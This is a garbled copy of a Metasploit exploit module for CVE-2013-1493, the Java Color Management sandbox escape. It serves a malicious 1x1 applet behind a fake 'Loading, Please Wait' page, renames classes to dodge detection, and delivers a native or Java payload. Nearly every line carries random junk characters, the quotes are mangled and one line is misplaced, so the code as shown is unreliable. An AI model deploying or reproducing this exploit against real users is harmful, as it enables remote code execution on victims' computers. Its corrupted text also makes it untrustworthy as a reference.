##
- D) ?8 [9 H6 E4 |- ]; x3 C4 r! e3 Q* V, E4 Y6 @$ h
# This file is part of the Metasploit Framework and may be subject to9 i* w* j4 v* H8 S4 Z i$ |
# redistribution and commercial restrictions. Please see the Metasploit
1 W y" u7 d3 k, D) I' _* C# web site for more information on licensing and terms of use.
6 L( ^- `( ~; F# http://metasploit.com/
3 Z1 }5 v7 W; |# T4 E##
7 v; M8 L4 ?& M& p- l0 P% O5 Prequire ‘msf/core’$ @) @/ w$ [& w- y! v: _' q( y
require ‘rex’- _2 z7 f$ x1 B( E; y# ?
class Metasploit3 < Msf::Exploit::Remote3 C) p1 E+ b& `& |
Rank = NormalRanking
5 o0 Z* L" y) d- n" e( ]include Msf::Exploit::Remote::HttpServer::HTML2 A. G! f( T. o; X+ C
include Msf::Exploit::EXE
# f& b" S! y } q# ^: i7 kinclude Msf::Exploit::Remote::BrowserAutopwn4 ]: U/ ?8 A2 |0 S0 E N9 a ?
autopwn_info({ :javascript => false })
% E# ?4 |# \- U" N% V/ j) W4 J2 `def initialize( info = {} ) z8 M" J- H: J1 s
super( update_info( info,8 r; `) ?! O! v1 u
‘Name’ => ‘Java CMM Remote Code Execution’,/ q F1 w( m% S5 B
‘Description’ => %q{" \' w( z `; m
This module abuses the Color Management classes from a Java Applet to run/ F& M2 J3 h. u9 p; I) U8 ^( ]
arbitrary Java code outside of the sandbox as exploited in the wild in February/ e( z% h( ?$ w# t, z; l3 W+ G
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
2 ~4 O. B; X& |9 V9 ?% w: Oand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1# J( O+ d& s; Q! x
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java$ D8 q& k+ A, A Z0 N1 w# V% _
warning in order to run the malicious applet.
# a0 w! _* G; [# o* Z8 Y},
; a+ |- S1 g) w3 z+ J, P! L7 I‘License’ => MSF_LICENSE,. \$ x5 Z% E1 E, R/ I
‘Author’ =># f! Q, O) A% `! r9 g( L+ m
'Unknown', # Vulnerability discovery and Exploit# F/ m$ }7 K% V& o" w- B3 B. l M
'juan vazquez' # Metasploit module (just ported the published exploit)- f2 T: i+ Z1 Y' N' q' Z
],5 z! d% x( B/ l
‘References’ =>) R. w' w) s+ ]+ u/ |
[4 u- ?9 x0 T5 V1 a! O' T7 a4 }9 Q
[ 'CVE', '2013-1493' ],* _3 T* [- n. C& K$ N
[ 'OSVDB', '90737' ],: ~3 g O3 u4 p
[ 'BID', '58238' ],/ E4 ?3 _8 f# q9 I8 ]+ ?# @' e
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],+ N, t: l; W1 {" m
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],0 [* u& ]- d2 U, [. ~% k
[ 'URL', 'http://pastie.org/pastes/6581034' ]
/ \. c+ i# c6 D! M0 @],+ w5 \( p8 w; ?: e2 g; m
‘Platform’ => [ 'win', 'java' ],
/ \' J& l8 e6 u* m( m7 B! Z' [‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
" U5 M4 N) ^ @; @) S( d‘Targets’ =>
# O) K% i3 [5 B* I7 a; ~0 G# ^' {[& U2 A" ?! i5 x' E- b* ~0 F
[ 'Generic (Java Payload)',6 g0 B& X O+ E, P& U& F
{
+ l9 U' q+ `) g'Platform' => 'java',
; G% P1 `; u3 D( b7 F'Arch' => ARCH_JAVA
/ A3 E( }; C' U! e6 F0 s8 ]- ^}( J3 \/ ]- x7 m' }& x; B
],
' a& A: `1 Y8 z4 @[ 'Windows x86 (Native Payload)',
1 I k5 A' z" A, N; b' ^{( B! y; m y5 G
'Platform' => 'win',
0 I2 \, ?. i8 }( y$ f'Arch' => ARCH_X86
( w( s) g8 b+ m0 g) r% c}) L. ]8 y+ T5 a, ~' B! G: ]0 H
]9 G* H7 M4 y- F
],
2 r- o$ f6 z2 ?‘‘DisclosureDate’ => ‘Mar 01 2013′
" _2 R6 D( B! ~! w2 t7 v))
1 e# p0 N) k1 v3 Rend
' H& ?8 G! h+ L# A# o/ w5 Gdef setup, L$ x( K1 `# `4 i/ n
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
) p: q5 Y, } G6 f0 g! f@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }7 H: e( T( y' d. R
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
I. \' I, z/ q@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) } a" C) i7 |3 u- }1 F# b
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)( j( c7 A/ m) S x$ w/ C9 P F
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
+ I# F; @0 T- F& v" j: O. fpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)3 z) L: J( P! {5 M: x f
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! s7 B0 P4 h) a7 a6 y$ ]7 o
@init_class_name = rand_text_alpha(“Init”.length)0 w1 U' s$ |' h+ W/ D+ e1 @$ g; x, \
@init_class.gsub!(“Init”, @init_class_name), T f8 c' T7 b4 S$ r1 h- Q
super x$ g0 e: `* B' D0 @1 [" V x
end
4 b j- w" g) S; A$ a! rdef on_request_uri(cli, request)
: ?& ~- Z# ]* [, v( \: Iprint_status(“handling request for #{request.uri}”)
" G: R; n2 M2 b vcase request.uri
+ e& b! [+ T4 w0 R- T- Y, u: f, Qwhen /\.jar$/i
" U ] `! y4 V9 @- i6 f* Ojar = payload.encoded_jar ^2 A2 G# V3 S9 ^& B
jar.add_file(“#{@init_class_name}.class”, @init_class)
8 ]( @8 A- N$ i: I3 Xjar.add_file(“Leak.class”, @leak_class), n" r* K% G& R; B' F% R
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
6 Z1 _; X& `+ vjar.add_file(“MyColorSpace.class”, @color_space_class)9 Z3 Q: u, m; P3 ]/ }, H
DefaultTarget’ => 1,
9 p8 U0 F0 _6 P' Imetasploit_str = rand_text_alpha(“metasploit”.length)1 e* x6 u. a" F6 D& e( S) o
payload_str = rand_text_alpha(“payload”.length)
. c. k: |) C5 F5 @; I+ K; u' ?& ajar.entries.each { |entry|
( C9 q# T; u1 x. J8 a5 {, Lentry.name.gsub!(“metasploit”, metasploit_str)) q: W0 x& T! |* z( D! o
entry.name.gsub!(“Payload”, payload_str)& ~" T, g- A# U: C) x
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
/ }3 I! k# d/ a+ g4 j! ]entry.data = entry.data.gsub(“Payload”, payload_str)
8 f, p$ p/ Z; h+ g! L. g}
) j. Q8 p+ O! ^( Njar.build_manifest$ P) x( [: q4 K& _1 _+ e# j" |
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
; s6 _0 V0 ~5 j" L5 V+ `5 B$ }when /\/$/9 |! x4 W( v, E8 Q" ^3 T5 a
payload = regenerate_payload(cli)
# U5 i! d& y2 T) g q* M; D0 z# X/ N+ Oif not payload; z( c w0 S! F0 Q# H4 w4 u) {' C/ K
print_error(“Failed to generate the payload.”); t; K$ b/ P4 O6 x
send_not_found(cli)
: n" Q4 w0 J# K4 D2 hreturn: ^8 n6 T; x7 a4 n V& j8 w5 o4 r
end
0 A+ u$ y; B* n, r2 Z& E2 [2 f7 ]send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
% k: S- F! @; @else2 c- X" Z9 o6 o, Y9 F( J
send_redirect(cli, get_resource() + ‘/’, ”)
; P. U* o: m9 }- q/ u0 r! [& cend
/ K3 N* L0 _( \1 X. z4 Aend
$ v/ U7 R' b4 T( Q: `9 j& r4 mdef generate_html% T4 ~+ e: Q( B/ Y: Y5 h# n
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
3 u& h3 v3 W W- n- Nhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
, a! y/ t8 K* K' F+ Q3 h* jhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|+ W% m2 J: f2 c
html += %Q|</applet></body></html>|" ~' L9 T+ e( @; H6 x
return html
+ b* r) Z4 L7 q$ H" w' ~end* k8 z! i" o+ @. g) @0 M# g- T
end, s( c/ }$ {7 t$ g& g
end
' _( `- F- s/ a3 r, h" ` |